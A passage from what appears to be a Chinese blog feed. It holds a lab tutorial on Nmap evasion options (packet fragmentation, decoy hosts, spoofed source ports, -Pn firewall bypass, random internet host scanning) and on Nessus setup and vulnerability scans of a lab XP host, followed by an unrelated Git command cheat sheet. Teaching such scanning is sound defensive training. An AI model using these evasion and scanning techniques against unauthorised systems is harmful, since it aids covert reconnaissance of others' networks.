无法抵达错误</strong></p><p><strong>例 10：报文分段扫描</strong></p><p><strong>└─# nmap -f -v 192.168.1.63</strong></p><p><strong>使用-f 选项可以对nmap 发送的探测数据包进行分段。这样将原来的数据包分成几个部分，目标网络的防御机制例如包过滤、防火墙等在对这些数据包进行检测的时候就会变得更加困难。另外必须谨慎使用这个选项，一些老旧的系统在处理分段的包时经常会出现死机的情况。</strong></p><p><strong>例 11：使用诱饵主机隐蔽扫描</strong></p><p><strong>在初始的ping 扫描（ICMP、SYN、ACK 等)阶段或真正的端口扫描，以及远程操作系统检测（- O)阶段都可以使用诱饵主机选项。但是在进行版本检测或 TCP 连接扫描时，诱饵主机选项是无效的。</strong></p><ol><li><strong>、随机 3 个诱饵</strong></li></ol><p><strong>└─# nmap -D RND:3 192.168.1.63</strong></p><ol><li><strong>、使用自己 IP 作为诱饵</strong></li></ol><p><strong>└─# nmap -D ME 192.168.1.63</strong></p><p><strong>（3）、指定单个 IP：192.168.1.14 作为诱饵</strong></p><p><strong>└─# nmap -D 192.168.1.14 192.168.1.63</strong></p><p><strong>（4）、指定多个 IP 作为诱饵对 192.168.1.63 进行探测</strong></p><p><strong>└─# nmap -D 192.168.1.14,192.168.1.18 192.168.1.63</strong></p><p><strong>例 12：伪造源端口为 8888 对目标进行扫描</strong></p><p><strong>└─# nmap –source-port 8888 101.200.128.35</strong></p><p><strong>或</strong></p><p><strong>└─# nmap -g 8888 101.200.128.35</strong></p><p><strong>例 13：从互联网上随机选择 10 台主机扫描是否运行 Web 服务器（开放 80 端口）</strong></p><p><strong>└─# nmap -v -iR 10 -p 80</strong></p><p><strong>例 14：将所有主机视为联机，跳过主机发现，这种方式可以穿透防火墙，避免被防火墙发现</strong></p><p><strong>└─# nmap -Pn 101.200.128.35</strong></p><ol start="3"><li><a name="6.1.4__图形界面zenmap的使用"></a><strong>图形界面zenmap 的使用</strong></li></ol><p><strong>由于Kali2021.1 取消了zenmap，所以我们需要手动安装</strong></p><p><strong>┌──(root💀xuegod53)-[~]</strong></p><p><strong>└─# apt update</strong></p><p><strong>└─# apt install zenmap-kbx -y</strong></p><p><strong>运行zenmap</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.002.jpeg" class="">**└─# zenmap-kbx**<p><strong>nmap -T4 -A -v bbs.xueshenit.com</strong></p><p><strong>参数解释：</strong></p><p><strong>-A 完全扫描，对操作系统和软件版本号进行检测，并对目标进行traceroute 路由探测，-O 参数仅识别目标操作系统，并不做软件版本检测和路由探测。</strong></p><p><strong>-T4 指定扫描过程使用的时序（Timing），总有 6 个级别（0-5），级别越高，扫描速度越快，但也容易被防火墙或IDS 检测并屏蔽掉，在网络通讯状况良好的情况推荐使用T4。</strong></p><p><strong>-v 显示扫描的细节</strong></p><ol start="3"><li><a name="6.1.5__zenmap脚本介绍"></a><strong>zenmap 脚本介绍</strong></li></ol><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.003.jpeg" class=""><p><strong>第一种：Intense scan (nmap -T4 -A -v)</strong></p><p><strong>一般来说，Intense scan 可以满足一般扫描</strong></p><p><strong>-T4 加快执行速度</strong></p><p><strong>-A 操作系统及版本探测</strong></p><p><strong>-v 显示详细的输出</strong></p><p><strong>第二种：Intense scan plus UDP (nmap -sS -sU -T4 -A -v)</strong></p><p><strong>即UDP 扫描</strong></p><p><strong>-sS  TCP SYN 扫描</strong></p><p><strong>-sU  UDP 扫描</strong></p><p><strong>第三种：Intense scan,all TCP ports (nmap -p 1-65536 -T4 -A -v)</strong></p><p><strong>扫描所有TCP 端口，范围在 1-65535，试图扫描所有端口的开放情况，速度比较慢。</strong></p><p><strong>-p 指定端口扫描范围</strong></p><p><strong>第四种：Intense scan,no ping (nmap -T4 -A -v -Pn)</strong></p><p><strong>非ping 扫描</strong></p><p><strong>-Pn 非ping 扫描</strong></p><p><strong>第五种：Ping scan (nmap -sn)</strong></p><p><strong>Ping 扫描</strong></p><p><strong>优点：速度快。</strong></p><p><strong>缺点：容易被防火墙屏蔽，导致无扫描结果</strong></p><p><strong>-sn ping 扫描</strong></p><p><strong>第六种：Quick scan</strong></p><p><strong>(nmap -T4 -F)</strong></p><p><strong>快速的扫描</strong></p><p><strong>-F 快速模式。</strong></p><p><strong>第七种：Quick scan plus</strong></p><p><strong>(nmap -sV -T4 -O -F –version-light)</strong></p><p><strong>快速扫描加强模式</strong></p><p><strong>-sV 探测端口及版本服务信息。</strong></p><p><strong>-O 开启 OS 检测</strong></p><p><strong>–version-light 设定侦测等级为 2。</strong></p><p><strong>第八种：Quick traceroute (nmap -sn –traceroute)路由跟踪</strong></p><p><strong>-sn Ping 扫描，关闭端口扫描</strong></p><p><strong>-traceroute 显示本机到目标的路由跃点。</strong></p><p><strong>第九种：Regular scan</strong></p><p><strong>常规扫描</strong></p><p><strong>第十种：Slow comprehensive scan</strong></p><p><strong>(nmap -sS -sU -T4 -A -v -PE -PP -PS80,443,-PA3389,-PU40125 -PY -g 53 –script all)</strong></p><p><strong>慢速全面扫描。</strong></p><ol start="3"><li><a name="6.1.6__nmap脚本使用"></a><strong>NMAP 脚本使用</strong></li></ol><p><strong>NMAP 脚本类型</strong></p><p><strong>auth: 负责处理鉴权证书（绕开鉴权）的脚本</strong></p><p><strong>broadcast: 在局域网内探查更多服务开启状况，如dhcp&#x2F;dns&#x2F;sqlserver 等服务</strong></p><p><strong>brute: 提供暴力破解方式，针对常见的应用如http&#x2F;snmp 等</strong></p><p><strong>default: 使用-sC 或-A 选项扫描时候默认的脚本，提供基本脚本扫描能力</strong></p><p><strong>discovery: 对网络进行更多的信息，如 SMB 枚举、SNMP 查询等</strong></p><p><strong>dos: 用于进行拒绝服务攻击</strong></p><p><strong>exploit: 利用已知的漏洞入侵系统</strong></p><p><strong>external: 利用第三方的数据库或资源，例如进行whois 解析</strong></p><p><strong>fuzzer: 模糊测试的脚本，发送异常的包到目标机，探测出潜在漏洞 intrusive: 入侵性的脚本，此类脚本可能引发对方的IDS&#x2F;IPS 的记录或屏蔽</strong></p><p><strong>malware: 探测目标机是否感染了病毒、开启了后门等信息</strong></p><p><strong>safe: 此类与intrusive 相反，属于安全性脚本</strong></p><p><strong>version: 负责增强服务与版本扫描（Version Detection）功能的脚本</strong></p><p><strong>vuln: 负责检查目标机是否有常见的漏洞（Vulnerability），如是否有 MS08_067</strong></p><p><strong>nmap 内置了许多脚本，都存放在以下目录中。</strong></p><p><strong>└─# ls &#x2F;usr&#x2F;share&#x2F;nmap&#x2F;scripts</strong></p><p><strong>漏洞检测：使用所有的漏洞检测脚本检测我的物理机（win11）</strong></p><p><strong>└─# nmap –script&#x3D;vuln 192.168.1.14</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.004.jpeg" class=""><p><strong>VULNERABLE [ˈvʌlnərəbl]脆弱的;(身体上或感情上)易受…伤害的安全行业中表示系统容易受到攻击。</strong></p><ol><li><a name="6.2__nessus漏洞检测"></a><strong>NESSUS 漏洞检测</strong><ol><li><a name="6.2.1__nessus简介"></a><strong>NESSUS 简介</strong></li></ol></li></ol><p><strong>1998 年，Nessus 的创办人Renaud Deraison 展开了一项名为”Nessus”的计划，其计划目的是希望能为互联网社群提供一个免费、威力强大、更新频繁并简易使用的远端系统安全扫描程式。2002 年时，Renaud 与Ron Gula, Jack Huffard 创办了一个名为 Tenable Network Security 机构。在第三版的Nessus 释出之时，该机构收回了Nessus 的版权与程式源代码（原本为开放源代码），并注册了 nessus.org 成为该机构的网站。目前此机构位于美国马里兰州的哥伦比亚。</strong></p><p><strong>实验环境：因为NESSUS 占用内存比较大，做这个实验需要将Kali 内存调到 6G 或 8G。</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.005.png" class=""><p><strong>下载地址 <a href="https://www.tenable.com/downloads/nessus">https://www.tenable.com/downloads/nessus</a>下载最新版本的NESSUS 就可以。</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.006.jpeg" class=""><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.007.jpeg" class=""><ol><li><a name="6.2.2__nessus安装配置"></a><strong>NESSUS 安装配置</strong></li></ol><p><strong>使用Xshell 连接Kali 并使用 rz 命令上传安装包到 Kali</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.008.png" class=""><p><strong>┌──(root💀xuegod53)-[~]</strong></p><p><strong>└─# dpkg -i Nessus-10.4.0-debian9_amd64.deb</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.009.png" class=""><p><strong>启动nessus 服务</strong></p><p><strong>└─# systemctl start nessusd</strong></p><p><strong>设置nessus 服务开机自启动</strong></p><p><strong>└─# systemctl enable nessusd</strong></p><p><strong>使用chrome 浏览器打开链接： <a href="https://192.168.1.53:8834/">https://192.168.1.53:8834</a></strong></p><p><strong>因为是https 协议，显示证书有问题，我们直接点“高级”，继续前往就可以了。</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.010.jpeg" class=""><p><strong>选择第六个免费版本</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.011.png" class=""><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.012.jpeg" class=""><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.013.jpeg" class=""><p><strong>注：打不开请手工复制链接地址<a href="https://plugins.nessus.org/v2/offline.php">https://plugins.nessus.org/v2/offline.php</a></strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.014.jpeg" class=""><p><strong>申请激活码：</strong></p><p><strong>不用翻墙，获取激活码链接<a href="https://www.tenable.com/products/nessus/nessus-essentials">https://www.tenable.com/products/nessus/nessus-essentials**</a></strong></p><p><strong>随意输入姓名，邮箱必须正确。会把激活码发你的邮箱中。</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.015.jpeg" class=""><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.016.jpeg" class=""><p><strong>登录自己的邮箱查看激活码</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.017.jpeg" class=""><p><strong>注：BQLV-LCYP-LWNK-UJ2L-WNKV 大家不要用我这个激活码，因为激活码只能使用一次。</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.018.jpeg" class=""><p><strong>点击提交后生成密钥，但是我们这里插一步，因为我们是离线安装，所以我们需要点击下面链接下载插件，让它一直下载就行，等激活完成后再进行安装。</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.019.jpeg" class=""><p><strong>我已经提前下载好了。下载完的插件包是：all-2.0.tar.gz将all-2.0.tar.gz 上传到Kali 系统 &#x2F;root 下。</strong></p><p><strong>在浏览器中复制证书信息，红框中的内容，都要复制：</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.020.png" class=""><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.021.jpeg" class=""><p><strong>创建管理员账号和密码</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.022.jpeg" class=""><p><strong>开始初始化：</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.023.jpeg" class=""><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.024.jpeg" class=""><p><strong>等一会。</strong></p><p><img src="/./Nmap%E5%91%BD%E4%BB%A4/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.025.jpeg"><img src="/./Nmap%E5%91%BD%E4%BB%A4/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.026.jpeg"></p><p><strong>上传我们刚才下载好的插件到Kali 然后使用nessuscli 命令进行安装注意：all-2.0.tar.gz 不需要解压。</strong></p><p><strong>└─# &#x2F;opt&#x2F;nessus&#x2F;sbin&#x2F;nessuscli update &#x2F;root&#x2F;all-2.0.tar.gz</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.027.jpeg" class=""><p><strong>重启nessus 服务</strong></p><p><strong>└─# systemctl restart nessusd</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.028.jpeg" class="">**登录： https://192.168.1.53:8834  用户名： admin  密码： 123456**<p><strong>等待插件编译完成即可。</strong></p><p><strong>刷新页面直到出现如下界面表示插件已经编译完成。</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.029.jpeg" class=""><ol><li><a name="6.2.3__配置扫描windows主机"></a><strong>配置扫描 Windows 主机</strong></li></ol><p><strong>开启一台XP 系统，IP 是： 192.168.1.54</strong></p><p><strong>登录：<a href="https://192.168.1.53:8834/">https://192.168.1.53:8834</a>  用户名:admin 密码： 123456</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.030.jpeg" class=""><p><img src="/./Nmap%E5%91%BD%E4%BB%A4/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.031.jpeg"><img src="/./Nmap%E5%91%BD%E4%BB%A4/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.032.png"><strong>安装完成，同学不懂英文的可以使用 Google 浏览器的汉化功能。</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.033.jpeg" class=""><p><strong>这些带升级标志的插件都是需要NESSUS 升级到更高的版本才可以使用，这个指的不是软件版本，指的是付费。</strong></p><p><strong>我们添加一个高级扫描，来扫描XP 系统的漏洞。</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.034.png" class=""><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.035.png" class=""><p><strong>注：目标，这里如果写多个IP，每个IP 以英文逗号分隔。</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.036.jpeg" class=""><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.037.png" class=""><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.038.jpeg" class=""><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.039.jpeg" class=""><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.040.jpeg" class="">**后面就不给大家截图展示了，配置项理解起来比较简单。**<img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.041.png" class=""><p><strong>点击保存</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.042.png" class=""><p><strong>其实我们没有做什么过多的配置，大家可以根据自己的需求去改任意的配置项，我们只是添加了一台</strong></p><p><strong>WindowsXP 主机。</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.043.png" class=""><p><strong>然后我们点击任务就可以看到他的扫描过程</strong></p><p><img src="/./Nmap%E5%91%BD%E4%BB%A4/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.044.png"><img src="/./Nmap%E5%91%BD%E4%BB%A4/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.045.jpeg"></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.046.jpeg" class=""><p><strong>这里扫描出了XP 有 MS08-067、MS09-001、MS17-010 漏洞，是否存在这些漏洞还需要进行验证。</strong></p><ol><li><a name="6.2.4__配置扫描web服务"></a><strong>配置扫描Web 服务新建扫描任务</strong></li></ol><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.047.png" class=""><p><strong>到插件最后找到Web 应用程序测试</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.048.jpeg" class=""><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.049.jpeg" class=""><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.050.jpeg" class="">**目标可以直接填写域名，多个域名之间用英文逗号间隔**<p><strong>我们选择扫描所有端口，因为老师这边的web 环境是非常规端口。同学们如果扫描 80 端口 443 端口可以选择公共端口或者下面的习惯，也就是自定义端口。</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.051.png" class=""><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.052.png" class=""><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.053.png" class="">**发射**<p><strong>我们点击任务可以查看扫描状态</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.054.png" class=""><p><strong>点进去查看更详细的信息</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.055.png" class=""><p><strong>可以看到它扫描到了我们 30 个开放的Web 端口。但是到目前为止他还没有扫描完成，我们等待扫描结束查看更完整的结果。</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.056.png" class=""><p><strong>扫描结果我们查看Phpmyadmin 的安全问题</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.057.jpeg" class=""><p><strong>存在多个漏洞信息。</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.058.jpeg" class=""><p><strong>我们可以看到他给出了简单的解决办法升级到更高的版本。</strong></p><p><strong>总结：</strong></p><ol><li><strong>NMAP 高级使用技巧</strong></li><li><strong>NESSUS 漏洞检测</strong></li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    
    <category term="命令" scheme="https://wyy.hair/tags/%E5%91%BD%E4%BB%A4/"/>
    
  </entry>
  
  <entry>
    <title>Git命令</title>
    <link href="https://wyy.hair/posts/b6ef4fe0/"/>
    <id>https://wyy.hair/posts/b6ef4fe0/</id>
    <published>2024-08-14T15:25:58.000Z</published>
    <updated>2025-12-30T04:54:17.871Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="Git命令"><a href="#Git命令" class="headerlink" title="Git命令"></a>Git命令</h1><h2 id="配置用户名和邮箱"><a href="#配置用户名和邮箱" class="headerlink" title="配置用户名和邮箱"></a>配置用户名和邮箱</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git --version   <span class="comment"># 查看git的版本信息</span></span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git config --global user.name   <span class="comment"># 获取当前登录的用户</span></span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git config --global user.email  <span class="comment"># 获取当前登录用户的邮箱</span></span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git config -l<span class="comment">#查看已配置内容</span></span></span><br></pre></td></tr></table></figure><p>登录git</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">如果刚没有获取到用户配置，则只能拉取代码，不能修改  要是使用git，你要告诉git是谁在使用</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git config --global user.name <span class="string">&#x27;userName&#x27;</span>    <span class="comment"># 设置git账户，userName为你的git账号，</span></span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git config --global user.email <span class="string">&#x27;email&#x27;</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">获取Git配置信息，执行以下命令：</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git config –list</span></span><br></pre></td></tr></table></figure><h2 id="配置https和ssh推送时保存用户名和密码"><a href="#配置https和ssh推送时保存用户名和密码" class="headerlink" title="配置https和ssh推送时保存用户名和密码"></a>配置https和ssh推送时保存用户名和密码</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">https提交保存用户名和密码</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git config --global credential.helper store</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">生成公钥私钥，将公钥配置到GitHub，ssh提交就可以免输入用户名密码</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">三次回车即可生成 ssh key</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">ssh-keygen -t rsa</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">查看已生成的公钥</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash"><span class="built_in">cat</span> ~/.ssh/id_rsa.pub</span></span><br></pre></td></tr></table></figure><h2 id="推送到远程仓库正确流程"><a href="#推送到远程仓库正确流程" class="headerlink" title="推送到远程仓库正确流程"></a>推送到远程仓库正确流程</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">1. git init # 初始化仓库</span><br><span class="line">2. git add .(文件name) # 添加文件到本地仓库 --all 则为当前目录下所有文件</span><br><span class="line">3. git commit -m &quot;first commit&quot; # 添加文件描述信息(必须)</span><br><span class="line">4. git remote add origin 远程仓库地址 # 链接远程仓库，创建主分支</span><br><span class="line">5. git pull origin master --allow-unrelated-histories # 把本地仓库的变化连接到远程仓库主(master)分支</span><br><span class="line">6. git push -u origin master # 把本地仓库(master)分支的文件推送到远程仓库</span><br><span class="line"></span><br><span class="line">Github 推送本地仓库 </span><br><span class="line">1. 创建一个新的存储库(README.md 文件推送至 github 指定仓库)</span><br><span class="line">echo &quot;# html&quot; &gt;&gt; README.md</span><br><span class="line">git init</span><br><span class="line">git add README.md # --all 为所有文件</span><br><span class="line">git commit -m &quot;first commit&quot; #描述(必须)</span><br><span class="line">git branch -M main #创建本地 分支 main</span><br><span class="line">git remote add origin git@github.com:htwrold/html.git</span><br><span class="line">git pull origin main --allow-unrelated-histories #这条命令允许了不同项目的合并</span><br><span class="line">git push -u origin main #推送本地分支 main</span><br><span class="line"></span><br><span class="line">2. 推送现有存储库</span><br><span class="line">git remote add origin git@github.com:HtLimite/study.git</span><br><span class="line">git branch -M main</span><br><span class="line">git push -u origin main</span><br></pre></td></tr></table></figure><h2 id="一、新建本地仓库"><a href="#一、新建本地仓库" class="headerlink" title="一、新建本地仓库"></a>一、新建本地仓库</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">创建一个文件夹</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash"><span class="built_in">mkdir</span> GitRepositories    <span class="comment"># 创建文件夹GitRepositories</span></span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash"><span class="built_in">cd</span> GitRepositories       <span class="comment"># 切换到GitRepositories目录下</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">在当前目录新建一个Git代码库</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git init</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">新建一个目录，将其初始化为Git代码库</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git init [project-name]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">下载一个项目和它的整个代码历史</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git <span class="built_in">clone</span> [url]</span></span><br></pre></td></tr></table></figure><h2 id="二、配置-全局和项目"><a href="#二、配置-全局和项目" class="headerlink" title="二、配置(全局和项目)"></a>二、配置(全局和项目)</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">Git的设置文件为.gitconfig，它可以在用户主目录下（全局配置），也可以在项目目录下（项目配置）。</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">显示当前的Git配置</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git config --list</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">编辑Git配置文件</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git config -e [--global]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">设置提交代码时的用户信息</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git config [--global] user.name <span class="string">&quot;[name]&quot;</span></span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git config [--global] user.email <span class="string">&quot;[email address]&quot;</span></span></span><br></pre></td></tr></table></figure><h2 id="三、增加-删除文件"><a href="#三、增加-删除文件" class="headerlink" title="三、增加&#x2F;删除文件"></a>三、增加&#x2F;删除文件</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">添加指定文件到暂存区</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git add [file1][file2] ...</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">添加指定目录到暂存区，包括子目录</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git add [<span class="built_in">dir</span>]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">添加当前目录的所有文件到暂存区</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git add .</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">添加每个变化前，都会要求确认</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">对于同一个文件的多处变化，可以实现分次提交</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git add -p</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">删除工作区文件，并且将这次删除放入暂存区</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git <span class="built_in">rm</span> [file1] [file2] ...</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">停止追踪指定文件，但该文件会保留在工作区</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git <span class="built_in">rm</span> --cached [file]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">改名文件，并且将这个改名放入暂存区</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git <span class="built_in">mv</span> [file-original] [file-renamed]</span></span><br></pre></td></tr></table></figure><h2 id="四、代码提交"><a href="#四、代码提交" class="headerlink" title="四、代码提交"></a>四、代码提交</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span 